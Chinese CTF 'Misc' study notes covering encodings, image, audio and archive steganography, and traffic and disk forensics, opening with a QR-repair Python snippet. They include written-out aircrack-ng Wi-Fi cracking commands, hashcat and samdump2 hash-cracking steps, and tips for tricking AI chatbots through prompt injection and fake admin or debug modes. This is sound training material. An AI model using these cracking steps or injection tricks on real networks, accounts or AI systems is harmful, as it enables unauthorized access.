 left = img[:, :w//2]
 right = img[:, w//2:]
 ​
 fixed = np.hstack([right, left])
 ​
 cv2.imwrite("fixed.png", fixed)
 ​
 det = cv2.QRCodeDetector()
 data, _, _ = det.detectAndDecode(fixed)
 ​
 print(data)

Misc学习笔记-yu1i(简陋|破烂|未完成版)

回老家过年的时候心血来潮和老大说要整理一下目前学到的东西,结果一直拖拖拉拉没有完成(好吧其实现在也没完成,后续还会润色修改的,目前是超级Demo版!放上来丢人现眼也是为了让自己的羞耻心打败拖延症的说)


(引用自老大2hi5hu师傅)Misc 是英文 Miscellaneous 的前四个字母,杂项、混合体、大杂烩的意思 主要包含以下几个大方向: 隐写取证是 Misc 中最为重要的一块,包括文件分析、隐写、内存镜像分析和流量抓包分析等等,涉及巧妙的编码、隐藏数据、层层嵌套的文件中的文件,灵活利用搜索引擎获取所需要的信息等等。

OSINT

信息搜集,一般称为社工题(社会工程学),答题者需要自主利用搜索引擎等进行相关信息的搜集,然后找到flag。

常见的题型为根据图片找到坐标和航班信息,坐标可以用各种AI(大概率不准确,但是可以提供思路),百度搜图和地图软件;航班信息可以上飞常准和航旅纵横之类的软件进行查询,能找到所属航空公司更好,直接去官网找。

答题方向

可以通过图片内的街景,行人穿着,建筑风格以及Exif的经纬度等来确定信息,结合题目给的hint进行推导

ai

ai题一般出题者会给出一个模型,然后答题者需要与ai模型进行对话或直接对源代码进行抓包来获取flag

答题方向

目前ai题见得比较少也比较简单,可以通过一些AI的漏洞:比如复述完全的安全准则;或者在input中注入admin权限,伪装调试模式之类

编码分析

相对简单(?)大部分时候丢进chef就能解,小部分时候用随波也能解,更小部分要自己找映射再解。

常见编码

Base家族(参考自(https://blog.csdn.net/hutuhutubumihu/article/details/146046250))base解密网站

Base16(即hex)

特征:含有0-9,A-F,无特殊符号,常见于硬件通信或简单编码场景。 分辨:hex。

base32

特征:含有2-7,A-Z,末尾可能有最多6个=。 分辨:全大写;多=。

base64

特征:含有0-9,A-Z,a-z,+,/,末尾可能有最多2个=。 分辨:长度为4的倍数;包含+或/;常见于HTTP请求参数或数据嵌入场景。

base58

特征:去除了容易混淆的字符(如0,O,I,1),含有1-9,A-Z,a-z,无特殊符号。 分辨:无易混淆字符;无=;常见于比特币地址。

base85

特征:含0-9,A-Z,a-z和更多符号(如!、$、%等),中间可能含填充= 分辨:长度通常为5的倍数;密文中含特殊符号且无固定填充规则;常见于PDF文件嵌入。

base100

特征:全是emoji。 分辨:全是emoji。

Base36

特征:仅含0-9、a-z或A-Z,无填充,适用于短数字编码。

Base62

特征:包含0-9、a-z、A-Z,无特殊符号,常用于短链生成。

Base91/Base92

特征:包含0-9,A-Z,a-z,扩展了字符范围(含$、%等),无填充,压缩率更高。

ASCII编码

一般为7位或8位二进制。 常见字符(与十进制对应):9对应 48-57;A-Z对应65-90;a-z对应 97-122。

Hex

不多说,最常用的编码,只有0-9,A-Z,a-z。 tips:3078在hex解码为0x,如果反复出现可能是某种提示。

Bin

只含有01(也有可能只是两种不同的字符,核心特征是只有两种),一般配合ASCII使用。

URL编码

URL 编码,也被称为百分号编码,是一种编码机制,其特点是编码后会包含大量的百分号。用于将不可见,不安全或特殊的字符转换为%后跟其 ASCII 的十六进制表示,以确保 URL 的安全传输。在SQL注入中常用于绕过WAF检测进行编写一句话木马。

Unicode编码

Unicode编码,又称统一码,分为UTF-8(1-4字节),UTF-16(2,4字节),UTF-32(4字节)。 特征为“U+”,或者“&#”

XXencode

xx-encode和base64编码很类似,只不过使用的转换表不同。 特征:多行字符串时,除最后一行,每行开头为“h”;经常以++或+结尾;一行最大长度为4的倍数+1。

UUencode

uuencode衍生自“unix-tounix encoding”,曾是Unix系统下降二进制的数据借由UUCP邮件系统传输的一个编码程式,是一种二进制到文件的编码。 特征:多行字符串时,除最后一行,每行开头都是“M”;一行最大长度为4的倍数+1;会出现很多特殊符号。

Escape编码

Escape编码是一种将字符转换为特定格式的编码方式,主要用于在数据传输、存储或解析时避免特殊字符引发的语法冲突或错误。它通过将字符替换为转义序列来表示,常见的形式包括 %u 编码和 \ 转义。 特征:\

莫斯电码

莫斯电码只使用零和一两种状态的二进制代码,它含有短促的点信号“・”,保持一定时间的长信号“—”,空格表示点和划之间的停顿(一般五字节一停顿)。

敲击码

「 敲击码 Tap code 」是一种以非常简单的方式对文本信息进行编码的方法。因该编码对信息通过使用一系列的点击声音来编码而命名。 特征:敲击码是基于 5×5 方格(波利比奥斯方阵)来实现的,不同点是是用 K 字母被整合到 C 中。因此密文的特征为1-5的两位一组的数字,编码的范围是A-Z字母字符集,字母不区分大小写。

栅栏密码

间隔固定位数取字符,随波可以秒

一些奇怪的图形编码或者密码(https://blog.csdn.net/Aluxian_/article/details/141812967)

维吉尼亚密码

不常见,要用一定会提示,上网找解密网站(https://ctf.bugku.com/tool/vigenere)就行

Type-7密码

不常见,有提示就上网搜对应解密网站

键盘密码

根据字符在键盘上划线得到密码,类似的还有ASWD代表左下上右方向进行划线。

猪圈密码

猪圈密码是对字母进行了一些排列,然后用方框和点来代替字母的一种密码,对照字母表进行解密就行了。

chef

一种编程语言(与python.C 同类),特征为很多食材和做饭的步骤,如同一张食谱,用(https://esolangpark.vercel.app/ide/chef)运行chef就可以得到运行结果。


取证隐写

文件结构

在计算机中,所有文件的本质都是二进制文件(为了防止过于冗长,一般用十六进制表示),为了便于计算机识别,文件通常会包含除文件内容本身以外的一些特征标识,即文件头,或可以说是魔法数字(其实两者不等价,但并不严格区分)。文件头标识大全可见(https://zhuanlan.zhihu.com/p/571208394),有后缀和文件头对不上的就改(诶我没说一定是改扩展名喔); 通用隐写有在文件数据中(冗余位或末尾之类的地方,一般先搜索关键字或者看到有没有大量填充补0)或者属性里面,还可以先binwalk检查,foremost提取隐藏文件LSB隐写(最低有效位),用图片LSB/块信息/CRC校验工具提取隐藏信息;ntfs隐写,NTFS交换数据流(Alternate DataStreams,简称ADS)是NTFS磁盘格式的一个特性,在NTFS文件系统下,每个文件都可以存在多个数据流(就是其它文件可以“寄宿”在某个文件身上),可以用特定工具提取出来(新版随波似乎会误判是否存在ntfs隐写,可以先预览一下);

字符隐写

字频统计

如果看到很多字符,而且字符中出现了多次flag头可以试试

零宽字符

缺线索了就把题目整个复制下来看看有没有零宽(?),解密方法:字符转Unicode找零宽类型,然后把明文带密文整个复制到在线零宽字符unicode文字隐写工具-BFW工具箱勾选对应类型就可以解密了。

图像隐写

通用的有宽高隐写(特征为crc检测结果为false,代表文件数据被修改过),直接拉高图片或者用脚本算出正确的crc进行爆破(ihdr数据也被修改了,而crc是根据ihdr算的); 盲水印(crc没改变,且没有线索可以尝试盲水印,还有变种双图盲水印,用bwm脚本解就行),如果遇到奇怪的文件头可以看看是不是需要异或某数字或取反; 猫脸变换:也叫阿诺德变换,本质为极坐标和笛卡尔坐标的转换,当图片呈现螺旋,圆形和放射状的时候可以尝试猫脸。

png隐写

IDAT块隐写:一般来讲IDAT块需要填满上一个才可以填下一个,如果有没有满的两块IDAT,那最后的IDAT块大概率有隐藏信息,可以进行zlib解压看看,推荐工具tweakpng。

jpg隐写

steghide隐写,用kali或者其他工具都可以,有密码无密码弱密码都有(可以用stegdetect对jpg进行检测是否有隐藏信息,但是不太准)

bmp隐写

除了bmp图片格式以外的常见的图片格式都是进行压缩了的,如果想要在这些格式的图片中进行大规模的修改,肯定会引起图片的失真。bmp未经压缩使得大量的数据,只要保证不影响图片,就可以隐藏许多内容。可以先转格式为bmp再进行binwalk分离。

二维码(或者说各种码)

二维码的定位符就是它的标识,如果扫不出来就去qrazybox扫;纠错区涂白可能获得更多信息;有时候不用完整的二维码也能识别);各种奇奇怪怪的码太多了,比如数据矩阵,aztec码,反正看到黑白方格的先问ai是不是什么码再说

gif/apng

动图先分帧,无线索查帧间隔是否是二进制,莫斯,培根密码;apng(https://www.cnblogs.com/suv789/p/18954839)用disapng分; gif的高度修改有两个高度,一个是ushort height(逻辑屏幕高度)一个是ushort imageheight(单帧图像高度),如果是宽高隐写的话需要改两个高度;偏移量隐写,如果gif中的字符或者什么明显的符号一直在移动,可以用脚本提取偏移量进行绘图获取信息,apng中的fcTL存储了真正的偏移位置,文件损坏的时候可以根据这个数据块进行偏移量绘图。

音频隐写

音频先丢进audacity看频谱图和波形图,有没有可能是编码;高能频谱可以提取出来看看频率是否存在隐藏信息。

IQ数据

In-phase Quadrature(同相正交)数据 结构:一组一组的IQ对(I1 Q1 I2 Q2……) 本质:能还原成音频,文字,二进制,图片等。 特征:文件大小是偶数倍(复数对),没有可读字符串和固定文件头,能解调成有意义的音频、数据。

deepsound

用deepsound提取音频内隐藏的文件需要密码

silenteye

只支持wav,jpg和bmp,是该隐写的话在图片文件开头或者末尾会出现SilentEye或者Silent的标识。一般默认参数就可以解得flag,不对的话找找有没有密码(key的两个框框填的是一样的密码)

SSTV

慢扫描电视(Slow Scan Television,SSTV)是业余无线电爱好者传输静态图像的通信技术,由考普瑟·麦克唐纳于1958年提出,通过单边带调制在3kHz带宽内传输单色或彩色图像。其特点是帧率低,单帧传输时间通常超过8秒,主要应用于短波、甚高频和超高频波段,特征为频谱图的高能波段集中且基本为一条直线。用MMSSTV进行解码兼容性最好,记得把输出方式改为立体音混声,因为电脑上无法直接接收自己本身发出的声音。

莫斯电码音频解密

如果某音频只有两种声音(两种波形),可以尝试二进制或者摩斯电码。(https://morsecodemagic.com/zh/%E6%91%A9%E5%B0%94%E6%96%AF%E7%94%B5%E7%A0%81%E9%9F%B3%E9%A2%91%E8%A7%A3%E7%A0%81%E5%99%A8/)

Echo Hiding

Echo Hiding(回声隐藏),将音频均分,将每一段原声复制一份,比原声晚出现一会儿,晚出现的差值取两个不同的值作为0和1,倒谱公式:c[n] = IFFT(logFFTx[n])|)。用脚本Cepstrum.py可以解出来。

mid

MID文件存 “乐谱指令”(音符、时长、力度、音色、节奏),像数字乐谱,可任意编辑,通常只有几 KB 到几十 KB。直接拖进AUdacity就可以看见其乐谱。

压缩包隐写

血泪教训(雾):题目给的附件也先丢winrar和010检查一下看注释,有没有隐藏文件,加密格式和字节大小,因为原压缩包可能存在一些未被解析的数据段。

ARCHPR

如果题目给了一些暗示压缩包密码长度和字符类型的,就用AR进行爆破,一般很快就会出密码,很久不出就是爆不了,再检查一下文件和题目换个方法别浪费时间。

bkcrack(https://www.freebuf.com/articles/network/255145.html)

压缩包为zipcrypt加密,已知压缩包内文件内容至少8字节连续明文加4字节明文(一般是exe,zip或者png,git仓库的head和description也可以作为包含明文的文件,连续的明文最好字节重复度高,字节数越多越好,如果附件给了压缩包内的原文件更好)就可以对压缩包的加密格式进行爆破,然后得到三条密钥去删除密码或者更改密码就行。

伪加密

文件头(504B0304后第三、四字节为奇数就是加密,偶数就是非加密)和文件目录区(504B0102后第五、六字节为奇数就是加密,偶数就是非加密)若不匹配就改成非加密

分卷压缩(https://blog.csdn.net/Chinland/article/details/137821972)

需要把各个切片都改为同一名字进行解压

短明文crc爆破(https://xz.aliyun.com/news/90771)

crc是一种线性校验和,我们可以通过它知道文件的数据是否被更改,而在加密txt中,如果明文字节数较小(4到6字节)我们就可以通过穷举进行crc爆破跳过密码直接知道txt明文。

hashcat爆破(https://zhuanlan.zhihu.com/p/356095183)

如果知道文件的哈希值(和密码的字符类型)可以用hashcat借助显卡进行爆破,有两种常见的攻击模式为:字典攻击(如rockyou.txt),掩码攻击(要知道密码的大部分格式)

账户信息分析

SAM文件用于存储用户账户信息,SYSTEM文件用于存储系统配置,可以用samdump2将SAM中的hash提取出来(若直接提取hash则存在加密,需要用到system的bootkey)。根据(https://blog.csdn.net/qq_30006795/article/details/148436970)所看到的输出格式可以找到账户的密码的hash然后就可以用hashcat进行爆破找到密码。

office/xps隐写

office/xps本质也是一种zip,一般存在隐藏信息直接改后缀找document就可以看到了,少部分直接写在文档内的,还不行就不改后缀点进去看是不是snow之类的文字隐写。

内存取证

wireshark流量包

拿到流量包先按字节从大到小进行排序,搜索一些关键字符,如:key,pass以及各种文件后缀(不建议搜flag,因为分组详情里原本就有个”Flags”),如果发现异常payload或者base编码直接导出字节流(最好不要直接复制因为可能复制不全)

http协议直接在左上角从大到小排列导出字节数最多的,或者搜索post上传和访问成功的流追踪查看是否有数据泄露;

tls协议则存在密钥文件,需要在首选项里导入才能查看真实内容;

tcp协议正常流程+tcp.flags.syn = =1得到黑客与受害者ip/tcp.flags.syn = = 1&&tcp.flags.ack = = 1查找开放端口;

无线网络协议需要查看无线流量部分的bssid和essid,

aircrack-ng -w '/usr/share/wordlists/rockyou.txt' -b 1a:d7:17:98:d0:51[BSSID]'file.cap' 爆破密码、

airdecap-ng -e mamawoxiangwantiequan[SSID即wifi名称] -p 12345678 'file.cap' 解密流量爆破流量密码并解密流量,之后正常分析流量包即可;

usb流量,常规的USB流量,数据部分在Leftover Capture Data域中,数据长度为八个字节判断为键盘流量,键盘击健信息集中在第三个字节中;数据长度为四个字节判断为鼠标流量。用tshark提取data字段,调整格式后解密信息

dns协议做题方法:发生ping操作时先用dns.qry.type = = 1&&dns.qry.name查询目标域名的A记录;

dns域名隐写(特征:大量01字符串):用tshark提取数据再进一步分析;

smb协议(特征:显示udp流、一直用同一个端口通信)

解题方法:获取NTLM密码即可解密,具体解题方法需要用到hashcat或者john爆破哈希值,hash格式:username::domin:sever challenge:NTProofStr:NTLM Response,数据从流量中找 ;

蓝牙协议(https://blog.csdn.net/qq_34810707/article/details/88546173);

telnet协议(https://blog.csdn.net/m0_52165864/article/details/126894004)、hex表达退格符;

菜刀流量,特征为开头和结尾含有成对箭头或X@Y或其他成对开始结束符号

gzip文件格式:1f8100开头 冰蝎流量

磁盘类

软盘是一种早期的可移动存储介质,曾广泛用于个人计算机中,但随着技术的发展,已逐渐被U盘和硬盘等更先进的存储设备所取代,软盘标准文件格式为FAT12。可以用kali的WSL进行挂载查看,也可以用虚拟机运行查看。

远程交互(日志分析)

用tabby进行连接,然后根据目的查看各个文件,单纯找flag的话直接grep,要找黑客的恶意文件的话可以进入var/www/html进行查找目标文件。linux常用命令 排查免杀马的步骤: ①锁定日志文件追踪行为痕迹 ②找非标准路径下的(log,tmp,wap)、隐藏的、畸形后缀的shell ③匹配含有核心函数、有编码解码的、伪协议(php://input)的可执行文件 ④排查短时间内重复访问请求

错误分析

一般载体文件是dmp文件(https://blog.csdn.net/xiao_yi_xiao/article/details/121750283),用windbg分析,点击!analyse -v进行分析。

后门查杀

用D盾扫描html文件可以查看到可疑文件,查杀木马。

荷兰宽带

路由器的备份文件(bin或cfg)通常包含了像ISP的用户名重要数据/密码,路由器的登录密码,无线网络的KEY。

反编译

如果获得了一个pyc文件(文件数据中有pyc字样),可以尝试用(https://www.lddgo.net/string/pyc-compile-decompile)进行反编译;同样的,elf文件可以拖进ida进行反编译查看是否有解flag的逻辑。

容器靶场类

登录

用bp爆破密码和用户名。

payload特定字符

如果是要求post一个值使得达成什么逻辑,可以根据php弱比较与强相等/不等(php弱比较时只比较“值”是否相等,强相等/不等则要求值与类型都相等)。